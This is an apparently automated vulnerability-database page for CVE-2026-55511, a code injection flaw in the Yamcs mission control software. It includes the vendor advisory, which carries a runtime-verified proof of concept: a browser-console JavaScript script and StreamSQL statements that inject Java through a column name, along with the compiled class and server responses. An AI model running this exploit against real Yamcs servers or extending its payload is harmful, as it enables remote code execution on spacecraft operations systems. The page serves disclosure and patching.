Skip to main content

Yamcs CVE-2026-55511

| EUVDEUVD-2026-67836 CRITICAL
Code Injection (CWE-94)
2026-08-28 https://github.com/yamcs/yamcs GHSA-3g44-3m7x-cgg2
9.1
CVSS 3.1 · Vendor: https://github.com/yamcs/yamcs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with ControlArchiving privilege
  2. Delivery
    Create table with malicious quoted column name
  3. Exploit
    Insert one row into table
  4. Execution
    Execute SELECT sum("column") aggregate
  5. Persist
    Janino compiles injected Java unsandboxed
  6. Impact
    Arbitrary code runs as Yamcs service account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated Yamcs account holding SystemPrivilege.ControlArchiving (source- and runtime-confirmed at the ctx.checkSystemPrivilege gate in TableApi.executeSql; a user without it receives 403 'Missing system privilege ControlArchiving'). The attacker must reach POST /api/archive/{instance}:executeSql and be able to run CREATE TABLE / INSERT / SELECT - i.e., issue a sum() aggregate over a plain column whose double-quoted name they chose. No user interaction, no non-default configuration, and no specific OS/platform are needed: the injection works against default Yamcs installs because column-name validation is absent and Janino compilation is unsandboxed by default. The exploitation-limiting factor is the ControlArchiving privilege requirement (an administrative archive-management right), which prevents anonymous or low-privileged users from triggering it; affected versions are <= 5.12.7 and 5.13.0-5.13.1.

Impact

This is a genuine high-priority issue for any organization actually running Yamcs, tempered by its niche deployment footprint and a meaningful privilege prerequisite. The CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, base 9.1) is well-supported by the evidence: network-reachable REST endpoint, low complexity, no user interaction, and full CIA loss with a scope change into host-OS authority. The one strong mitigating signal is PR:H - exploitation requires an account already holding the ControlArchiving privilege, which is an administrative archive/table/stream management right, not a low-privileged or anonymous role; the negative-case test confirms a no-privilege user is blocked with 403. No EPSS score, SSVC decision, or CISA KEV entry was provided, so exploitation-probability and automatability signals are absent - however, the advisory ships a complete, runtime-verified PoC, so weaponization effort is effectively zero for anyone who obtains the privilege. Net: not a mass-exploitable internet-facing bug (privileged, low-population product), but for exposed or multi-user Yamcs instances it is a straightforward, reliable RCE and should be patched promptly. No conflicting signals were found; the main data gap is the absence of EPSS/KEV, which lowers confidence about real-world exploitation breadth but not about exploitability itself.

Exploit ScenarioDerived

An operator (or a compromised operator account) holding the ControlArchiving privilege sends three StreamSQL statements to POST /api/archive/{instance}:executeSql: CREATE TABLE with a double-quoted column name containing an embedded Java payload, an INSERT to populate one row, then SELECT sum("<that column>"). Evaluating the aggregate drives Janino to compile and run the injected Java inside the Yamcs JVM, executing arbitrary code as the service account. A publicly available, runtime-verified PoC in the advisory demonstrates this by creating a marker directory on the host; low attack complexity means it works reliably against default installations.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Remote code execution in Yamcs (Mission Control) versions <= 5.12.7 and 5.13.0-5.13.1 allows an authenticated user holding the ControlArchiving system privilege to run arbitrary Java on the server host by embedding executable code in a StreamSQL column name. The malicious name is interpolated unescaped into Java source that Janino compiles without a sandbox when a sum() aggregate is evaluated over that column via POST /api/archive/{instance}:executeSql. This is a second, independent Janino sink sharing the root cause of CVE-2026-44632, which the earlier fix did not close; the advisory (GHSA-3g44-3m7x-cgg2) includes a full working PoC verified end-to-end against a real, security-enabled Yamcs 5.13.0, though there is no CISA KEV listing.

RemediationAI

Vendor-released patch: upgrade to Yamcs 5.13.2 (for the 5.13.x line) or 5.12.8 (for the 5.12.x line), per GHSA-3g44-3m7x-cgg2; the fixes (commits 8c1070b12c0a6c003903325cb2a1013347e2dbde and b65a3d78178ba99a58b753feda6ecc3b5a694f13) restrict the StreamSQL double-quoted identifier grammar to letters, digits, and specific special characters, eliminating injection via column names. Where immediate upgrade is not possible, the primary compensating control is to strictly limit who holds SystemPrivilege.ControlArchiving - revoke it from all but trusted archive administrators, since that privilege is the exact exploitation gate (trade-off: legitimate archive/table/stream management operations for those users are curtailed). Additionally, restrict network reachability of the management REST API (POST /api/archive/{instance}:executeSql) to trusted operator networks or an authenticated admin VPN, and run the Yamcs process as an unprivileged service account inside a container/OS sandbox with least-privilege filesystem and no outbound network, so that any code execution is contained (trade-off: does not stop the RCE itself, only limits blast radius). Advisory and release notes: https://github.com/yamcs/yamcs/security/advisories/GHSA-3g44-3m7x-cgg2 and https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2.

Affected VersionsENISA

yamcs < 5.12.8
yamcs 5.13.0, < 5.13.2

Affected Packages

maven org.yamcs:yamcs-core fix: 5.12.8, 5.13.2
euvd yamcs fix: 5.12.8, 5.13.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Yamcs is an open-source mission control system for satellite and spacecraft operations. Its StreamSQL engine (org.yamcs.yarch.streamsql) JIT-compiles query expressions to Java at runtime using the Janino SimpleCompiler with no restrictive ClassLoader and no class/API allowlist. This is a classic CWE-94 (Code Injection) flaw: CompilableAggregateExpression#getCompiledAggregate() assembles a Java class as a string, and SumExpression#aggregateFillCode_newData emits the input column's name directly into a Java identifier (col<name>) and into a tuple.getColumn("...") literal inside the void newData() method. The only transformation applied, sanitizeName(), replaces just '/' and '-' with '_', letting semicolons, parentheses, braces, dots, spaces and other Java syntax pass through verbatim. The StreamSQL grammar's double-quoted identifier token accepts any character except newline/CR/quote, and neither ColumnDefinition nor TupleDefinition validates column-name characters, so CREATE TABLE with a quoted name yields fully attacker-controlled text. The bare-column expression path is inadvertently non-exploitable (payloads land after an unconditional return, which Janino rejects as unreachable), but the aggregate path executes statements inside a void method where a ';'-separated, self-closing payload (e.g. ...; coldummy=coldummy) compiles cleanly. The affected artifact is the Maven package org.yamcs:yamcs-core.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/yamcs/yamcs) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.1 CRITICAL

Network REST endpoint (AV:N), reliable low-complexity injection (AC:L), but requires the administrative ControlArchiving privilege (PR:H); RCE escapes the Yamcs authorization model into host authority (S:C) with full CIA loss.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/yamcs/yamcs).

CVSS VectorVendor: https://github.com/yamcs/yamcs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Overview

Yamcs compiles StreamSQL expressions to Java on the fly with the Janino SimpleCompiler (no restrictive class-loading policy or expression sandbox). When a StreamSQL aggregate such as sum(...) is applied to a column, the column's *name* is interpolated unescaped into the generated Java source. Because Yamcs accepts arbitrary characters in a double-quoted column identifier and applies no validation when a column is created, an authenticated user with the ControlArchiving system privilege can craft a column name that injects arbitrary Java into the compiled aggregate and achieve Remote Code Execution on the Yamcs host via POST /api/archive/{instance}:executeSql.

This is a second, independent Janino-RCE entry point sharing the root cause of CVE-2026-44632 (GHSA-524g-x36v-9wm6). The 5.13.0 / 5.12.7 fix for CVE-2026-44632 hardened only the algorithm-override path (JavaExprAlgorithmExecutionFactory, reached via MdbOverrideApi and gated by ChangeMissionDatabase). The StreamSQL expression compiler (org.yamcs.yarch.streamsql) was not addressed and remains exploitable in 5.13.0 via a different privilege (ControlArchiving).

Impact

An authenticated Yamcs user holding SystemPrivilege.ControlArchiving can cause Yamcs to compile attacker-controlled Java source through the StreamSQL aggregate expression compiler reachable from POST /api/archive/{instance}:executeSql.

The injected code executes inside the Yamcs server JVM with the privileges of the Yamcs server process, bypassing the Yamcs authorization model. Because this is ordinary Java execution, dangerous JDK APIs such as filesystem access, process execution, reflection, and class loading are reachable unless externally sandboxed. This allows compromise of confidentiality, integrity, and availability of the Yamcs deployment: access to mission data and credentials available to the process, telemetry/archive tampering, denial of service, and lateral movement from the host environment.

ControlArchiving is the archive/table/stream management privilege - distinct from both superuser access and the ChangeMissionDatabase privilege used by the previously fixed algorithm-override Janino issue (CVE-2026-44632). Scope is scored as Changed because execution crosses from an authenticated Yamcs API privilege into arbitrary code execution under the server process / host OS authority, outside the privileges granted to the authenticated Yamcs user (consistent with the maintainer's S:C scoring of the sibling CVE-2026-44632).

Technical Details

The sink: unsandboxed Janino compilation of generated Java

org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate() builds a Java source string and compiles it with Janino, with no restrictive ClassLoader and no class/API allowlist:

java
// org/yamcs/yarch/streamsql/CompilableAggregateExpression.java:26-50
String className = "AggregateExpression" + counter.incrementAndGet();
StringBuilder code = new StringBuilder();
code.append("package org.yamcs.yarch;\n")
        .append("public class " + className + " implements CompiledAggregateExpression {\n");
aggregateFillCode_Declarations(code);
code.append("\tpublic void newData(Tuple tuple) {\n");
aggregateFillCode_newData(code);                  // <-- attacker-controlled column name lands here
code.append("\t}\n");
code.append("\tpublic Object getValue() {\n");
aggregateFillCode_getValue(code);
code.append("\t}\n");
...
SimpleCompiler compiler = new SimpleCompiler();   // generated source is compiled without a restrictive sandbox
compiler.cook(code.toString());                   // compiles attacker-influenced Java source

The injection: column name interpolated unescaped

SumExpression#aggregateFillCode_newData emits, inside newData(Tuple tuple), a declaration for each input column followed by sum += col<columnName>:

java
// org/yamcs/yarch/streamsql/funct/SumExpression.java:38-42
protected void aggregateFillCode_newData(StringBuilder code) throws StreamSqlException {
    fillCode_InputDefVars(inputDef.getColumnDefinitions(), code);   // emits the column declaration
    code.append("\t\tsum+=col" + children[0].getColumnName());      // emits the column identifier again
    code.append(";\n");
}

fillCode_InputDefVars interpolates the column name into a Java identifier with only sanitizeName applied, and again - raw - into a tuple.getColumn("...") string literal:

java
// org/yamcs/yarch/streamsql/Expression.java:134-145
String javaColIdentifier = "col" + sanitizeName(cd.getName());
...
code.append("\t\t" + dtype.javaType() + " " + javaColIdentifier +
        " =  (" + dtype.javaType() + ")tuple.getColumn(\"" + cd.getName() + "\");\n");

// Expression.java:237-238  - the ONLY transformation applied to the column name:
static String sanitizeName(String s) {
    return s.replace("/", "_").replace("-", "_");
}

sanitizeName maps only / and - to _. Every other character - ;, spaces, ( ) { } [ ], =, ., +, ,, digits - passes through verbatim into the generated Java.

The exploitable context is the Java identifier col<name>. The same method also emits the raw column name into a Java string literal used by tuple.getColumn("...") (Expression.java:140/144). This string-literal context is not required for the exploit shown here, but it should still be escaped with ValueExpression.escapeJavaString, because it is another instance of raw user-controlled text emitted into generated Java source (including Java escape-sequence edge cases) and is therefore an additional source-generation hazard, not a closed surface. (ValueExpression.escapeJavaString is correctly applied to *value literals* such as WHERE x = '...'; function names are separately whitelisted by FunctionExpressionFactory. The unfixed gap is the column identifier.)

Why the column name is fully attacker-controlled

The StreamSQL grammar accepts any character except newline / CR / double-quote in a double-quoted identifier, and returns the raw inner content:

// org/yamcs/yarch/streamsql/StreamSql.jj:237 and :931
< S_DOUBLE_QUOTED_IDENTIFIER: "\"" (~["\n","\r","\""])* "\"" >
<S_DOUBLE_QUOTED_IDENTIFIER> {String s1 = token.image; return s1.substring(1, s1.length() - 1);}

ObjectName() (used for column names in CREATE TABLE / CREATE STREAM) accepts this token, and neither org.yamcs.yarch.ColumnDefinition nor TupleDefinition.addColumn validates the characters of a column name (only a duplicate-name check). So CREATE TABLE evil("<arbitrary text>" double, ...) creates a column whose name is attacker-chosen text.

Why the bare-expression compiler is NOT exploitable, but the aggregate compiler IS

The general expression compiler Expression#compile() emits the column identifier in two contexts - a statement-context declaration *and* the return col<name>; expression. A payload carrying executable statements (;-separated) makes the code after the return unreachable, which Janino rejects ("Statement is unreachable"); a payload without ; cannot carry a side effect. That accidental barrier makes the bare-column path non-exploitable.

The aggregate path is different and exploitable: in SumExpression, both emissions of the column name live inside newData(Tuple tuple) - a void, statement-context method - and getValue() returns the accumulator sum, never the column. There is no expression-context return col<name> and no unconditional return before the injected statements, so a ;-separated, fully reachable payload compiles cleanly.

Reachability: executeSql reaches the aggregate compiler without the bare-path gate

POST /api/archive/{instance}:executeSql → TableApi.executeSql (gate ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving), TableApi.java:398-399) → ydb.execute(ydb.createStatement(statement)) → SelectExpression.compile().

Crucially, when an aggregate's argument is a plain column (not a computed expression), Yamcs sets aggInputList = null, which skips the bare Expression#compile() of the input expression that would otherwise throw on a ;-laden name:

java
// org/yamcs/yarch/streamsql/SelectExpression.java:196-215
boolean hasComputations = false;
for (AggregateExpression aggExpr : aggList) {
    ...
    for (Expression expr : aggExpr.children) {
        expr.bind(inputDef);
        ...
        if (!(expr instanceof ColumnExpression)) {
            hasComputations = true;        // only true for sum(y+3)-style computed args
        }
    }
}
if (!hasComputations) {                    // sum("<plaincolumn>") => true
    aggInputDef = null;
    aggInputList = null;                   // => the bare compile below is skipped
}
...
// compile() (SelectExpression.java:241-252):
if (aggInputList != null) { for (Expression e : aggInputList) caggInputList.add(e.compile()); }  // SKIPPED
...
for (AggregateExpression aexpr : aggList) { caggList.add(aexpr.getCompiledAggregate()); }         // REACHED -> RCE

So SELECT sum("<malicious column>") FROM <table-with-that-column> reaches getCompiledAggregate() directly. The compiled aggregate's newData() runs for each processed tuple, executing the injected code.

Runtime end-to-end verification (real Yamcs 5.13.0, security enabled, ControlArchiving-only user)

The full chain was confirmed end-to-end against a real, security-enabled Yamcs 5.13.0 server (the official Yamcs quickstart, server banner Yamcs 5.13.0, build 8bf5af6fe227bbf8ead15e60644b7ddbf345d623, instance myproject, YamlAuthModule with enabled: true). Anonymous access was rejected (GET /api/instances → 401), confirming security was actually on. A non-superuser account archiver was created holding only SystemPrivilege.ControlArchiving, and a second account nobody with no privileges.

The injected payload is a benign java.io.File(...).mkdirs() whose path is built from char codes so the StreamSQL column name needs no " or /:

text
dummy; new java.io.File(new String(new char[]{<codes for the marker path>})).mkdirs(); coldummy=coldummy

For a double column this drives SumExpression.getCompiledAggregate() to generate and compile (real Janino) the following class, whose newData(Tuple) runs per processed row:

java
package org.yamcs.yarch;
public class AggregateExpressionN implements CompiledAggregateExpression {
    double sum;
    public void newData(Tuple tuple) {
        Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy =  (Double)tuple.getColumn("dummy; new java.io.File(...).mkdirs(); coldummy=coldummy");
        sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;
    }
    public Object getValue() { return sum; }
    public void clear() { sum=0; }
}

Positive case - the archiver user (token obtained via POST /auth/token, grant_type=password). GET /api/user confirms "superuser": false, "roles":[{"name":"ArchiverOnly"}], "systemPrivileges":["ControlArchiving"]. Driving the three statements over POST /api/archive/myproject:executeSql:

text
== CREATE ==  create table <rnd>("<col>" double, id int, primary key(id))
{ }                                                                  HTTP 200
# malicious column name accepted, unvalidated

== INSERT ==  insert into <rnd>(id, "<col>") values(1, 1.0)
{ "columns":[{"name":"inserted","type":"LONG"}],
  "rows":[{"values":[{"type":"SINT64","sint64Value":"1"}]}] }       HTTP 200

== SELECT SUM ==  select sum("<col>") from <rnd>
{ "columns":[{"name":"SumExpression0x6fd4b7e1d","type":"DOUBLE"}],
  "rows":[{"values":[{"type":"DOUBLE","doubleValue":1.0}]}] }       HTTP 200
# aggregate compiled + executed

== marker check on the Yamcs host ==
RCE-CONFIRMED (archiver/ControlArchiving): /tmp/yamcs-rce-sec-<id> created

Negative case - the nobody user (no privileges) against the same endpoint:

text
== executeSql as nobody ==
{ "code": 403, "type": "ForbiddenException",
  "msg": "Missing system privilege 'ControlArchiving'" }            HTTP 403

This establishes both halves at runtime: a non-superuser holding only ControlArchiving reaches the compiler and executes injected Java in the Yamcs JVM (the marker directory is created on the host), while a user without the privilege is rejected with 403 at exactly the ControlArchiving check. The select sum(...) compiled SumExpression through the real engine and ran the injected newData() for the inserted row. The trailing coldummy=coldummy is a valid assignment statement in both emission positions, so there is no "unreachable statement" and no "must return a value" - the constraints that block the bare-column path do not apply inside newData.

Reproduction

Pre-condition: an account holding SystemPrivilege.ControlArchiving on the target Yamcs instance. The privilege boundary is both source-confirmed (the ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving) gate in TableApi.executeSql, TableApi.java:398-399) and runtime-confirmed (a ControlArchiving-only non-superuser succeeds; a user without it gets 403 ForbiddenException "Missing system privilege 'ControlArchiving'").

Step 1 - Trigger code execution via a malicious StreamSQL column name

Open DevTools (F12) → Console as a logged-in operator with ControlArchiving, set INSTANCE, and paste:

js
// Run in the browser console of a logged-in Yamcs operator holding the ControlArchiving privilege.
// Demonstrates arbitrary JVM code execution on the Yamcs host via a malicious StreamSQL column name.
// Benign proof: creates a marker directory on the host. More destructive OS-command payloads are
// intentionally omitted - do NOT escalate beyond this proof.
const INSTANCE = "myproject";                       // <-- set to a real instance name
const API = location.origin + "/api/archive/" + INSTANCE + ":executeSql";

// build `new String(new char[]{..})` so the payload needs no " or /
const jchars = s => "new String(new char[]{" + [...s].map(c => c.charCodeAt(0)).join(",") + "})";
const MARKER = "/tmp/yamcs-rce-poc-" + Date.now();   // marker the injected Java will create
const col = "dummy; new java.io.File(" + jchars(MARKER) + ").mkdirs(); coldummy=coldummy";
const TABLE = "rcepoc_" + Date.now();                // unique table name so re-runs don't collide
const q = s => '"' + s + '"';                        // double-quote a StreamSQL identifier
const run = stmt => fetch(API, {
  method: "POST", credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ statement: stmt }),
}).then(r => r.text());

(async () => {
  console.log("create:", await run(`create table ${TABLE}(${q(col)} double, id int, primary key(id))`));
  console.log("insert:", await run(`insert into ${TABLE}(id, ${q(col)}) values(1, 1.0)`));
  console.log("select sum (compiles aggregate -> runs newData):", await run(`select sum(${q(col)}) from ${TABLE}`));
  console.log(`Now check the Yamcs host: directory ${MARKER} exists => arbitrary code executed (RCE).`);
})();

Expected result: the three statements succeed and the directory /tmp/yamcs-rce-poc-<timestamp> is created on the Yamcs host, demonstrating arbitrary Java execution. (The select compiles SumExpression.getCompiledAggregate() and runs the injected newData() for the inserted row.) Observed against a security-enabled Yamcs 5.13.0 as a ControlArchiving-only user:

text
create: {}
insert: {"columns":[{"name":"inserted","type":"LONG"}],"rows":[{"values":[{"type":"SINT64","sint64Value":"1"}]}]}
select sum (compiles aggregate -> runs newData): {"columns":[{"name":"SumExpression0x...","type":"DOUBLE"}],"rows":[{"values":[{"type":"DOUBLE","doubleValue":1.0}]}]}
=> /tmp/yamcs-rce-poc-<timestamp> created on the Yamcs host => arbitrary code executed (RCE).

The marker directory is owned by the Yamcs service account (in the quickstart container this appeared as root:root; on a normal deployment it is owned by the Yamcs service user). The marker-directory proof uses java.io.File#mkdirs() as a non-destructive side effect; because the injected code is compiled as ordinary Java inside the Yamcs JVM without a restrictive sandbox, this primitive is sufficient to demonstrate arbitrary Java execution. More destructive OS-command payloads are intentionally omitted.

Suggested Fix

The column identifier must never be interpolated unescaped into generated Java. Options, in order of robustness:

  1. Do not place the column name in identifier position at all. Generate synthetic identifiers (col0, col1, …) for input columns and map them to real names only through the tuple.getColumn("...") string argument (which should itself be escaped with the existing ValueExpression.escapeJavaString). This removes the entire class of column-name code injection across Expression, ColumnExpression, the aggregate expressions, etc.
  2. Validate column identifiers at creation. Reject column names that are not valid identifiers (e.g. [A-Za-z_][A-Za-z0-9_]*, optionally .-separated for protobuf fields) in CREATE TABLE / CREATE STREAM and in ColumnDefinition/TupleDefinition. sanitizeName mapping only / and - is insufficient.
  3. Sandbox or restrict the Janino compilation so generated StreamSQL expressions cannot access dangerous JDK APIs such as process execution, filesystem, reflection, or class loading - defence-in-depth that also hardens the algorithm/calibrator compilers behind ChangeMissionDatabase.

Option 1 is recommended; it fixes the root cause for all expression types, not just sum.

Distinction from CVE-2026-44632

This is not a duplicate of CVE-2026-44632 / GHSA-524g-x36v-9wm6. That advisory covers the mission-database *algorithm* path (JavaExprAlgorithmExecutionFactory), reached through the MDB-override APIs and gated by SystemPrivilege.ChangeMissionDatabase. This report covers a separate StreamSQL expression-compiler path (org.yamcs.yarch.streamsql), reached through POST /api/archive/{instance}:executeSql and gated by a *different* privilege, SystemPrivilege.ControlArchiving. The 5.13.0 / 5.12.7 fix for CVE-2026-44632 did not touch the StreamSQL compiler, so this entry point remains exploitable at 5.13.0.

This should also not be treated as accepted risk for the algorithm subsystem. StreamSQL is a query language for archive/table/stream operations, not a documented arbitrary-Java extension point; the maintainer's "algorithms are code" residual applies only to the algorithm compilers behind ChangeMissionDatabase. The vulnerable behaviour comes from unescaped column-name interpolation into generated Java source - an implementation flaw, not an intended capability.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 7 maven packages depend on org.yamcs:yamcs-core (7 direct, 0 indirect)

Ecosystem-wide dependent count for version 5.13.0.

Technical POC Analysis

CWE-94: Improper Control of Generation of Code.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Yamcs Mission Control versions 5.12.7 and earlier (and 5.13.0-5.13.1) contain a critical remote code execution vulnerability (CVSS 9.1) that allows privileged authenticated users to execute arbitrary Java code on mission-critical systems. With publicly available exploit code documented in the advisory, this creates immediate operational risk to spacecraft command-and-control operations. Patch availability enables rapid remediation of this high-consequence vulnerability.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 50% exploitable
Prevalence
Low
niche satellite/spacecraft mission-control software, industry-specific footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
6
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy